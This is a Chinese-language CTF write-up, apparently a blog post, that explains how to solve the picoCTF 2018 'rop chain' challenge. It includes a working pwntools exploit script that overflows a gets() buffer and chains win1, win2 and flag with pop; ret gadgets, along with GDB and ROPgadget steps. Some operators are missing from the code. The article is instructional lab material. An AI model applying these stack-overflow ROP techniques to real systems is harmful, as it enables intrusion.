资讯详情

picoCTF 2018 rop chain复现:从ret2win到链式调用

📅 2026/10/8 5:05:27 | 华诺云谱 👁 阅读
picoCTF 2018 rop chain复现:从ret2win到链式调用
如果你也开始刷 picoCTF 2018 的二进制利用题到rop chain这道题的时候通常会有一个明显的感觉前面 ret2win 那种一把梭已经不够用了。之前几道题只要把返回地址改成某个 win 函数回车就能拿 flag但这道题从名字就剧透了你需要把多个返回地址串起来而且还得给每个函数正确传参才能让最后打印 flag 的函数被调用。这篇文章就完整记录我复现 picoCTF 2018 rop chain 的过程从最开始的file、checksec到用 GDB 和 pwntools 找偏移、找 gadget、拼 payload最后拿到 flag。同时我也会把当时卡住我的几个点都写出来包括为什么直接排列 win1、win2、flag 不行以及pop; ret这种 gadget 在链式调用里的作用。1. 先搞清楚题目要我们做什么1.1 题目故事与核心逻辑picoCTF 2018 的 rop chain 是典型的 200 分二进制利用题。题目给了一个 32 位的 ELF 程序名字一般叫rop。程序本身看起来很简单运行后会有输入提示让你输入一串内容然后调用一个存在漏洞的函数。你输入的内容会直接影响后续流程而最终目标是让程序打印出 flag。反汇编之后逻辑大概可以还原成下面这个样子int flag1 0; int flag2 0; void win1(int arg1) { if (arg1 0xdeadbeef) { flag1 1; } else { exit(0); } } void win2(int arg2) { if (arg2 0xdeadbeef) { flag2 1; } else { exit(0); } } void flag() { if (flag1 flag2) { system(cat flag.txt); } } void vuln() { char buf[16]; gets(buf); } int main() { vuln(); return 0; }题目名称里的 rop chain 已经暗示得很清楚你需要把win1、win2、flag这三个函数串成一条 ROP 链并且在调用win1和win2时都传入参数0xdeadbeef。只要flag1和flag2这两个全局变量都被置 1最后调用flag()就会打印 flag。1.2 拿到二进制后的标准分析流程拿到rop这个文件不要急着拿它当黑盒去盲试输入。先做三件事file看架构checksec看防护nm看符号。$ file rop rop: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.1, for GNU/Linux 2.6.32, not stripped$ checksec --filerop Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)这几个信息非常重要32 位小端构造 payload 的时候要使用p32()而不是p64()。没有 canary栈溢出可以直接覆盖返回地址不需要考虑 canary 校验。NX 开启栈不可执行不能直接在栈上放 shellcode所以要走 ROP。没有 PIE函数地址是固定的不需要绕过地址随机化。not stripped符号表还在win1、win2、flag这些函数名可以直接用nm看到。$ nm ./rop | grep -E win|flag 080485cb T win1 080485d8 T win2 0804862a T flag这些地址只是示例不同编译方式会不一样。但因为有符号表你用 pwntools 也能轻松拿到from pwn import * elf ELF(./rop) win1_addr elf.symbols[win1] win2_addr elf.symbols[win2] flag_addr elf.symbols[flag]很多新手在这一步容易偷懒直接跳槽去搜 writeup 上的固定地址。但这个程序在不同环境下编译出的地址不一定完全一样最稳的做法永远是先自己跑一遍nm或objdump拿到当前二进制的真实地址。2. ROP 基础为什么单个 ret 不够为什么需要链式调用2.1 函数调用、栈与返回地址的本质要理解 rop chain先要理解普通函数调用时的栈布局。在 32 位 x86 下调用约定是 cdecl。大概流程是这样调用者把参数从右往左压入栈。执行call指令CPU 把下一条指令的地址压入栈然后跳转到目标函数。被调函数执行结束后ret指令会把栈顶的返回地址弹出到eip程序回到调用者继续执行。所以当被调函数刚刚进入时栈顶esp指向的是返回地址esp 4指向第一个参数。用生活化一点的话说函数调用就像接力赛call把“下一棒要跑去哪里”写在小纸条上压在桌子上函数跑完的时候ret会看这张纸条决定接下来去谁那里。漏洞利用里的 ret2win 就是把这个“小纸条”改成攻击者想去的地址。你通过缓冲区溢出覆盖掉栈上保存的返回地址等函数执行到ret时EIP 就直接跳到了攻击者指定的位置。但这里有一个关键点ROP 链不只是把一个地址改掉而是要让程序在跳转到目标地址后继续按你设计好的栈布局往下走。因为每个函数执行完ret之后esp会向上移动 4 字节如果你没有在栈上安排好下一个地址和参数程序很快就会跑飞。2.2 从 ret2win 到 rop chain 的跳跃回到这道题。你可能会想那我不就是把win1、win2、flag的地址连续排在栈上不就行了吗先试一下这种直觉做法# 反面教材 payload bA * 28 payload p32(win1) payload p32(win2) payload p32(flag) payload p32(0xdeadbeef) payload p32(0xdeadbeef)实际跑起来你会发现win1 函数根本读不到0xdeadbeef它会直接认为参数不对然后退出根本到不了 win2。原因很简单。当你覆盖返回地址为win1并触发ret之后CPU 跳到win1此时esp指向的是你 payload 中win1后面的那个槽位。对win1来说这个槽位的内容会被当作返回地址而返回地址后面的那个槽位才会被当作第一个参数。所以如果你直接把win2放在win1后面win1看到的“第一个参数”实际上是win2的地址不是0xdeadbeef。即使它从win1返回后跳转到了win2此时esp又向前移动了 4 字节win2的返回地址和参数也会错位得一塌糊涂。正确的思路是在调用每个带参数的函数之后手动插入一个“丢弃参数”的小 gadget例如pop eax; ret。pop eax会把当前栈顶的0xdeadbeef弹到一个无关紧要的寄存器里让esp顺利后移 4 字节之后的ret再从新的栈顶取出下一个函数地址跳转过去。这样栈指针才能重新对齐到你要调用的下一个函数。3. 一步一步构造 rop chain3.1 确定溢出偏移要控制返回地址第一步是确定从缓冲区开头到返回地址的偏移。这里我用 pwntools 的cyclic来生成测试字符串然后用 GDB 看崩溃时 EIP 的落点。$ gdb-peda$ pattern create 200 $ gdb-peda$ run ... Program received signal SIGSEGV EIP: 0x6261616b (kaab) $ gdb-peda$ pattern offset 0x6261616b 28如果你习惯用 pwntools 自动化也可以直接让进程崩溃后取出 corefrom pwn import * elf ELF(./rop) p process(./rop) p.sendline(cyclic(100)) p.wait() core p.corefile offset cyclic_find(core.regs.eip) print(offset)在我的环境下偏移是 28。不同编译器、不同优化选项可能会产生不同结果所以不建议直接抄 28还是要自己实测一遍。3.2 找 win1、win2、flag 的地址因为程序没有 PIE函数地址是固定的。用 pwntools 最方便from pwn import * elf ELF(./rop) win1 elf.symbols[win1] win2 elf.symbols[win2] flag elf.symbols[flag] print(hex(win1), hex(win2), hex(flag))也可以用命令直接看$ objdump -t ./rop | grep -E win1|win2|flag不管是哪一种方式拿到符号地址后都先记录好后面拼 payload 会用到。3.3 找一个可用的 pop; ret gadget这是链式调用的关键。因为win1和win2都需要接收一个参数0xdeadbeef按照 32 位 cdecl 的规则参数在返回地址之后占一个 4 字节槽位。函数调用结束后参数不会自己消失所以我们要借助一个pop 寄存器; ret的 gadget 来清理栈。找 gadget 最简单的方式是 ROPgadget$ ROPgadget --binary ./rop | grep pop eax ; ret 0x08048658 : pop eax ; ret如果没有pop eax; ret找其他任意pop 寄存器; ret也可以。从栈上调用的角度说我们只关心它能把栈顶的一个 4 字节弹掉然后顺利ret寄存器本身被忽略也没关系。实际使用的时候尽量选一个对后续函数没有影响的寄存器pop eax; ret通常比较安全。如果你使用 pwntools也可以这样找from pwn import * rop ROP(./rop) pop_ret rop.find_gadget([pop eax, ret]).address不过ROPgadget的命令行输出更直观遇到复杂情况也更可控我一般两个都会用。3.4 拼装完整 payload有了偏移、目标地址和pop; retgadget 之后完整 payload 就可以这样组织#!/usr/bin/env python3 from pwn import * context.binary ./rop elf ELF(./rop) win1 elf.symbols[win1] win2 elf.symbols[win2] flag elf.symbols[flag] # 用 ROPgadget 找出来的地址按你自己的二进制改 pop_ret 0x08048658 payload bA * 28 payload p32(win1) payload p32(pop_ret) payload p32(0xdeadbeef) payload p32(win2) payload p32(pop_ret) payload p32(0xdeadbeef) payload p32(flag) io process(./rop) io.sendlineafter(binput, payload) print(io.recvall().decode())payload 的栈内布局可以用下面这张表来理解相对返回地址槽的偏移内容作用0win1 地址第一次 ret 跳转到 win14pop_ret 地址win1 执行完之后的“返回地址”80xdeadbeefwin1 的第一个参数12win2 地址pop_ret 清理后 ret 到 win216pop_ret 地址win2 执行完之后的“返回地址”200xdeadbeefwin2 的第一个参数24flag 地址pop_ret 清理后 ret 到 flag手动跟一遍执行流程序从vuln的ret弹出 win1跳到win1此时esp指到偏移 4 的位置也就是pop_ret。对win1来说偏移 4 的pop_ret是返回地址偏移 8 的0xdeadbeef是参数所以判断成功设置flag1 1。随后win1执行leave; ret返回地址pop_ret被弹出到 EIPesp指到偏移 8 的0xdeadbeef。pop_ret先执行pop eax吃掉这个0xdeadbeef然后ret弹出偏移 12 的 win2。win2 进入后同理设置flag2 1。最后经过第二次pop_ret清理ret到flag两个全局标志都是 1flag 被打印出来。本地跑之前先确保当前目录下有flag.txt内容随便写一行测试用。运行成功后你会在输出里看到win1! win2!之类提示以及 flag 文件内容。4. 常见问题与排查技巧实录4.1 我踩过的几个坑第一次做这道题我直接按“直觉布局”把 win1、win2、flag 地址往后排结果程序打印win1 fail然后退出。当时还以为是地址找错了后来在 GDB 里断下来看栈才发现问题根本不是地址而是栈指针的错位。总结下来常见的现象和原因大概是这些现象可能原因排查方向打印 win1 fail 或 win2 fail参数没有放到正确槽位在当前函数的入口断点看 esp4 是不是 0xdeadbeef打印了 win1、win2 但没有 flagflag 函数没有被 ret 到检查第二次 pop_ret 后栈顶是不是 flag 地址直接 Segmentation faultpayload 里地址拼错或链尾缺返回地址用 GDB 看崩溃时的 eip 和 esp远程连接后没输出提示符不匹配输入过早用sendlineafter等待提示符而不是直接 sendline用错 p32/p6432 位程序用了 8 字节地址检查context.arch和字节打包函数最值得养成习惯的一点是拿到一个利用思路先在 GDB 里验证栈布局再上远程打。调试 rop chain 的时候我喜欢在目标函数开头下断点(gdb) b *win1 (gdb) run payload.txt (gdb) x/4wx $esp这条命令会直接显示当前栈顶附近的 4 个 4 字节内容。正常情况下应该是$esp处是返回地址$esp4处是参数0xdeadbeef。如果看到$esp4是别的值说明 payload 布局错位了不用继续猜直接对着表改即可。4.2 调试 rop chain 的实用技巧除了断点还可以用x/16wx $esp一次看更多栈内容这样可以完整看到整条链的排列。很多看似玄学的崩溃其实只要看一遍栈就能发现端倪。另外一个技巧是在 payload 里故意放几个有辨识度的地址比如0x41414141、0x42424242然后用 GDB 看程序最终跑到了哪里。比如你在链尾放0x41414141程序崩溃时 EIP 是0x41414141就说明执行流确实走到了链尾如果 EIP 是0xdeadbeef说明某个地方把参数当成返回地址弹到 EIP 了那就要回去清理栈。4.3 链式调用思路的延伸这道题的思路并不只能用于 picoCTF 2018。你在 64 位程序里经常遇到的 ret2libc、ret2csu、甚至 ret2dlresolve本质上都是同一件事先把控制流劫持到一个或多个函数/gadget 上再控制好栈上的参数区。64 位下参数走寄存器所以你会需要pop rdi; ret这种 gadget 来布置参数32 位下参数走栈所以pop; ret用来清理和过渡。理解了 rop chain 这个例子后面遇到其他需要链式调用的题目时基本套路是一样的。5. 说点个人体会这道题我前前后后刷过好几遍每一次都有点新收获。第一次看 writeup 的时候只觉得那个pop; ret很神奇不知道为什么要插在中间。后来自己从栈的角度一步步推演了一遍才意识到它其实就是在模拟调用者清理参数的过程。如果你也想彻底搞懂 rop chain而不是只把 payload 抄下来跑通建议你手动在纸上画一遍栈从vuln的ret开始每执行一条影响栈的指令就把esp的位置更新一次。画到第三条链的时候你基本就能自己写 payload 了。这道题还有一个让我印象深刻的地方它看起来很“教学”但真的上手就会发现光知道 ROP 概念远远不够你得能准确预判函数入口的esp指向哪里以及参数槽位怎么排。所谓“链”本质上就是多个可控的返回地址加参数槽位按照目标函数的调用约定连成一条线。如果以后你再遇到需要连续调用多个函数的题我的建议很简单不要上来就猜地址先确定调用约定再找清栈 gadget最后对着 esp 位置把 payload 一步步排出来。这个方法我实测下来比看十篇 writeup 都管用。
📝

华诺云谱内容团队

资深建站顾问 · 行业研究员

10年+企业数字化服务经验,专注智能建站、SEO优化与品牌营销,持续输出建站技巧、行业洞察与营销干货,已帮助5000+企业实现数字化增长。

你可能需要的服务

订阅华诺云谱资讯周报

每周一封,精选建站技巧、SEO与营销干货,直达邮箱。已有 8,000+ 企业主订阅,助你少走弯路。

↑